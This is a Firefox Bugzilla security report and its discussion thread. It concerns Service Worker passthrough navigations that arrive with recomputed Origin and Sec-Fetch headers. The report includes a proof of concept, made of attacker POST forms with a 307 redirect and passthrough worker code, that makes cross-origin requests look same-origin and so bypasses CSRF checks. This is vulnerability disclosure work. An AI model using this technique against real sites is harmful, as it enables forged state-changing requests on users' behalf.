Open Bug 2035038 Opened 7 months ago Updated 7 days ago

Service Worker passthrough navigations recalculate Origin, Sec-Fetch-Site, and Sec-Fetch-Mode from the Service Worker context [unsettled spec issue]

Categories

(Core :: DOM: Service Workers, defect, P2)

defect

Tracking

()

People

(Reporter: tomoya2517, Assigned: edenchuang)

References

Details

(Keywords: reporter-external, Whiteboard: [client-bounty-form])

Attachments

(6 files, 2 external files)

Platform: Desktop
Version: Firefox Nightly 152.0a1 (2026-04-25)

When a Service Worker intercepts a navigation request and passes it through with fetch(event.request), Firefox reissues the network request with Origin, Sec-Fetch-Site, and Sec-Fetch-Mode computed from the Service Worker's own channel/principal instead of from the original navigation request.

Steps to Reproduce:

The PoC is hosted on Cloudflare Workers with these HTTPS origins:

Attacker origin: https://sw-navigation-headers-attacker.ntomoya.com/
Target origin:   https://sw-navigation-headers-target.ntomoya.com/

The Cloudflare Workers PoC uses this structure:

wrangler.toml
src/index.js
public/
  pages/
    attacker.html
    target-setup.html
  sw.js
package.json

src/index.js handles the attacker and target routes, /redirect-post, /target, and /config.json. public/pages/attacker.html contains the attacker POST forms, public/pages/target-setup.html registers the target-origin Service Worker, and public/sw.js contains the passthrough fetch(event.request) handler.

  1. Visit https://sw-navigation-headers-target.ntomoya.com/ and wait until the page shows Service Worker ready.

    This registers a target-origin Service Worker with the following passthrough payload. The target has only one recording endpoint, /target. The baseline request uses /target?sw=0, where the Service Worker does not call respondWith(). The passthrough request uses /target?sw=1, where the Service Worker reissues the navigation with fetch(event.request).

    self.addEventListener("install", event => {
      event.waitUntil(self.skipWaiting());
    });
    
    self.addEventListener("activate", event => {
      event.waitUntil(self.clients.claim());
    });
    
    self.addEventListener("fetch", event => {
      const url = new URL(event.request.url);
      if (url.pathname === "/target" && url.searchParams.get("sw") === "1") {
        event.respondWith(fetch(event.request));
      }
    });
    
  2. Visit https://sw-navigation-headers-attacker.ntomoya.com/.

    The attacker page is static HTML. The attacker page configures two POST forms. Both forms submit to the attacker origin first; the Worker then returns a 307 redirect so the browser preserves the POST method when navigating to the target origin.

    Baseline form payload:

    <form
      action="https://sw-navigation-headers-attacker.ntomoya.com/redirect-post?case=no-sw&sw=0"
      method="post">
      <input type="hidden" name="x" value="1">
    </form>
    

    Service Worker passthrough form payload:

    <form
      action="https://sw-navigation-headers-attacker.ntomoya.com/redirect-post?case=with-sw&sw=1"
      method="post">
      <input type="hidden" name="x" value="1">
    </form>
    
  3. Click Send POST without Service Worker.

    The attacker Worker receives the form POST and returns:

    HTTP/1.1 307 Temporary Redirect
    Location: https://sw-navigation-headers-target.ntomoya.com/target?case=no-sw&sw=0
    

    Firefox follows the 307 as a POST navigation to /target?sw=0. Since the Service Worker does not call respondWith() for sw=0, this records the correct no-SW baseline. The target endpoint records only these protected request headers:

    Origin
    Sec-Fetch-Site
    Sec-Fetch-Mode
    

    Expected and observed baseline headers:

    Origin: https://sw-navigation-headers-attacker.ntomoya.com
    Sec-Fetch-Site: same-site
    Sec-Fetch-Mode: navigate
    

    The target returns the captured request metadata as a JSON response:

    {
      "case": "no-sw",
      "endpoint": "/target",
      "method": "POST",
      "headers": {
        "origin": "https://sw-navigation-headers-attacker.ntomoya.com",
        "sec-fetch-site": "same-site",
        "sec-fetch-mode": "navigate"
      }
    }
    
  4. Return to https://sw-navigation-headers-attacker.ntomoya.com/, then click Send POST with passthrough Service Worker.

    The attacker Worker again receives a form POST and returns:

    HTTP/1.1 307 Temporary Redirect
    Location: https://sw-navigation-headers-target.ntomoya.com/target?case=with-sw&sw=1
    

    Firefox follows the 307 as a POST navigation to /target?sw=1. This time the target Service Worker intercepts the navigation and performs:

    event.respondWith(fetch(event.request));
    

    The reissued network request should preserve the original navigation provenance and therefore should still arrive as:

    Origin: https://sw-navigation-headers-attacker.ntomoya.com
    Sec-Fetch-Site: same-site
    Sec-Fetch-Mode: navigate
    

    Instead, Firefox reissues the request using Service Worker-side context, and the target receives:

    Origin: https://sw-navigation-headers-target.ntomoya.com
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: same-origin
    

    The target again returns the captured request metadata as JSON. In Firefox, the relevant headers object is:

    {
      "origin": "https://sw-navigation-headers-target.ntomoya.com",
      "sec-fetch-site": "same-origin",
      "sec-fetch-mode": "same-origin"
    }
    
  5. Inspect the headers values in the two JSON responses.

    Observed result:

    Header            No-SW baseline                                      SW passthrough
    Origin            https://sw-navigation-headers-attacker.ntomoya.com   https://sw-navigation-headers-target.ntomoya.com
    Sec-Fetch-Site    same-site                                           same-origin
    Sec-Fetch-Mode    navigate                                            same-origin
    

Security Impact:

Origin, Sec-Fetch-Site, and Sec-Fetch-Mode are protected request metadata that JavaScript cannot set directly. Web applications commonly use them for CSRF protection and Fetch Metadata request isolation, for example rejecting cross-site or cross-origin form submissions.

With this bug, a cross-origin POST navigation to a site that already has a normal passthrough Service Worker can arrive at the server looking like same-origin traffic. This can bypass server-side checks that trust Origin, Sec-Fetch-Site, or Sec-Fetch-Mode to distinguish attacker-initiated requests from same-origin traffic.

The hosted PoC demonstrates the same-site cross-origin case. The same provenance-loss bug is also relevant to fully cross-site attacker origins: the expected no-SW value would be Sec-Fetch-Site: cross-site, but the Service Worker passthrough path can still make the request appear as same-origin.

The impact is limited by the requirement that the target site has an active Service Worker whose fetch handler passes navigations through, but this is a common pattern in PWAs and Workbox-style network-first handlers.

Flags: sec-bounty?
Attached file wrangler.toml —
Attached file index.js —
Attached file sw.js —
Attached file attacker.html —
Attached file target-setup.html —
Attached video demo.mp4 —
Group: firefox-core-security → dom-core-security
Component: Security → DOM: Service Workers
Product: Firefox → Core
Severity: -- → S2
Priority: -- → P2
Assignee: nobody → echuang
Attached file (secure) —

related spec discussion

https://github.com/w3c/ServiceWorker/issues/1803
https://github.com/whatwg/fetch/issues/1323

It seems that treating fetch(event.request) as fetching without ServiceWorker interception doesn't follow the specs.

I will try the case with other browsers.

Mark it as S3 because it might be a spec issue.

Severity: S2 → S3

The rating assigned by our bug rating tool (currently under development) is:

Rating: sec-moderate

Explanation: This bug allows a cross-origin POST navigation to arrive at the target server with spoofed security headers (Origin, Sec-Fetch-Site, Sec-Fetch-Mode) reflecting same-origin context rather than the actual cross-origin initiator, because Firefox recomputes these headers from the Service Worker's context during a passthrough fetch(event.request). This bypasses server-side CSRF defenses and Fetch Metadata request isolation policies that rely on these headers. Rated sec-moderate (not sec-high) because exploitation requires the target site to already have an active passthrough Service Worker (a precondition that limits the attack surface, though it is common in PWAs and Workbox deployments). The attack does not directly leak data — it enables attacker-initiated state-changing requests to bypass same-origin checks.

edenchuang: Please ni? me if you disagree with this rating.

Keywords: sec-moderate

Hi Tyson, please see https://bugzilla.mozilla.org/show_bug.cgi?id=2035038#c8 for why this was downgraded to an S3

Flags: needinfo?(twsmith)

Thank you I will remove the rating so the issue is manually re-triaged.

Flags: needinfo?(twsmith)
Keywords: sec-moderate

If the spec issues are public, and we need consistent behavior amongst different browsers, should we unhide this specific example?

Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-want
Summary: Service Worker passthrough navigations recalculate Origin, Sec-Fetch-Site, and Sec-Fetch-Mode from the Service Worker context → Service Worker passthrough navigations recalculate Origin, Sec-Fetch-Site, and Sec-Fetch-Mode from the Service Worker context [unsettled spec issue]
Flags: sec-bounty? → sec-bounty-
See Also: → 1857728
Group: dom-core-security

As this is an ongoing spec issue, making this public

Keywords: sec-want

Hi, we ran into this bug with our own passthrough service worker, and we read the specs to understand it. We think part of this bug may not be an open spec question. Please correct us if we read the specs wrong.

What we see in Firefox 160

Our worker does event.respondWith(fetch(event.request)), with no init.

Header Firefox sends What we expected from the spec
sec-fetch-mode same-origin navigate
sec-fetch-site, link from another site same-origin cross-site (Chrome sends this)

Report with all headers per browser: https://flo-test.app.baqend.com/sw-navigation-headers.html
Reproduction page: https://flo-test.app.baqend.com/v1/code/navHeaders?sw=fetch (sw=preload for navigation preload, sw=none for no worker)

How we read the spec

The Request constructor (https://fetch.spec.whatwg.org/#dom-request):

  • It copies the mode, the origin and the URL list of the request.
  • It changes mode "navigate" to "same-origin" only if init is not empty. We pass no init, so we expected the mode to stay "navigate".
  • It has a note on the origin: "The propagation of the origin is only significant for navigation requests being handled by a service worker."

Fetch Metadata:

So we think Sec-Fetch-Mode, Sec-Fetch-Site and Origin are already defined for a passthrough. The open question in w3c/ServiceWorker#1803 seems to be only about Sec-Fetch-Dest and Sec-Fetch-User. Chrome and Safari also send dest: empty there.

The WPT test seems to agree

Navigation preload

We see a similar difference with navigation preload. As we read the spec, the preload request is a clone of the navigation request, so it keeps the origin and the user activation:

Firefox sends sec-fetch-site: same-origin for a link from another site, and no sec-fetch-user. Chrome and Safari send the same values as without a worker.

Why it matters to us

  • Servers use sec-fetch-mode: navigate to detect a navigation behind a passthrough worker. This works in Chrome and Safari, but not in Firefox.
  • Bot detection challenges these Firefox requests more often, because they do not look like a navigation.

If our reading is right, could the mode, site and origin part be handled apart from the "[unsettled spec issue]" label?

Thanks for looking into it.

A small follow-up with a concrete pointer for the Sec-Fetch-Mode part.

As far as I can tell, WPT already covers it: navigation-headers.https.html expects sec-fetch-mode: navigate for a same-origin passthrough (https://github.com/web-platform-tests/wpt/blob/master/service-workers/service-worker/navigation-headers.https.html, "GET/POST Navigation, same-origin with passthrough service worker sets correct sec-fetch headers").

Firefox marks both subtests as expected FAIL: https://github.com/mozilla-firefox/firefox/blob/main/testing/web-platform/meta/service-workers/service-worker/navigation-headers.https.html.ini#L11-L15

In a local run with Firefox Nightly 163, the actual value is sec-fetch-mode: same-origin. Chrome and WebKit send navigate and pass. In the same-origin case only the mode differs, so these two subtests would be a good check for a fix.

An unmodified FetchEvent.request keeps the mode "navigate", the origin
and the URL list of the intercepted navigation. Sec-Fetch-Mode,
Sec-Fetch-Site and Origin now use them instead of the service worker
context. Sec-Fetch-Dest and Sec-Fetch-User are unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

Hi Eden,

I uploaded a different approach as D345591. I tried to address Andrew's (:asuth) review comment on D300336: the change should be based on the Fetch spec, not on "pass-through behaves like no interception".

Spec basis. fetch(event.request) runs the Request constructor with an empty init. In that case the new request copies these fields of the intercepted request:

  • mode, which stays "navigate"
  • origin, with the note: "The propagation of the origin is only significant for navigation requests being handled by a service worker. In this scenario a request can have an origin that is different from the current client."
  • URL list, so the redirect chain stays

The constructor resets mode, origin and URL list only when init is not empty. The client is the service worker in both cases.

Sec-Fetch-Mode, Sec-Fetch-Site and Origin are computed from these request fields. For an unmodified event.request, the spec therefore expects navigate, the site of the original initiator and its redirect taint. They should not come from the service worker.

Translation to Gecko. The pass-through channel already carries these fields in InterceptionInfo, namely the initiator principal and the redirect chain. D345591 uses them only to compute these three headers, and only while the channel's request mode is still navigate. The fetch still runs as the service worker: same principal, ClientInfo, CSP, cookies and CORS. This is the difference from D300336. Sec-Fetch-Dest and Sec-Fetch-User do not change, so the open question in w3c/ServiceWorker#1803 is not touched. new Request(event.request, {...}) keeps the current behaviour.

Tests (Linux opt, headless):

  • service-workers/service-worker/navigation-headers.https.html: 19 subtests go from FAIL to PASS, including the navpreload variants. The .ini is updated in the patch.
  • service-workers/service-worker/ and fetch/metadata/: no new unexpected results compared with a build without the patch.

The revision is WIP. Do you think this direction is acceptable? If so, should I continue with it, or would you rather fold it into D300336? Either way is fine with me.

Flags: needinfo?(echuang)

Hi Florian.

Thank you for reaching out to me.
I am taking a look on the discussion of https://github.com/w3c/ServiceWorker/issues/1803
basically, I think Firefox should fix the navigationPreload to match the behavior with other browser vender.
Regarding to passthrough request, I basically agree what Andrew said in the review comments. I will take a look what the value supposed to be with Sec-Fetch-* headers.

Flags: needinfo?(echuang)

Okay cool,
Let me know if I can additional support somehow. But currently this is a quite annoying issue since we discovered that some large CDN / server use this falsy headers as a bot signal or react falsy since they didn't recognize a navigation as I have described also on Service-Worker GitHub issue.
I have also prepared a mdn update so at least people become hopefully more aware that this is some kind of "expected" behavior when service workers are in use.
If you can support me here so that change also gets live I would really appreciate it!
https://github.com/mdn/content/pull/46678

You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: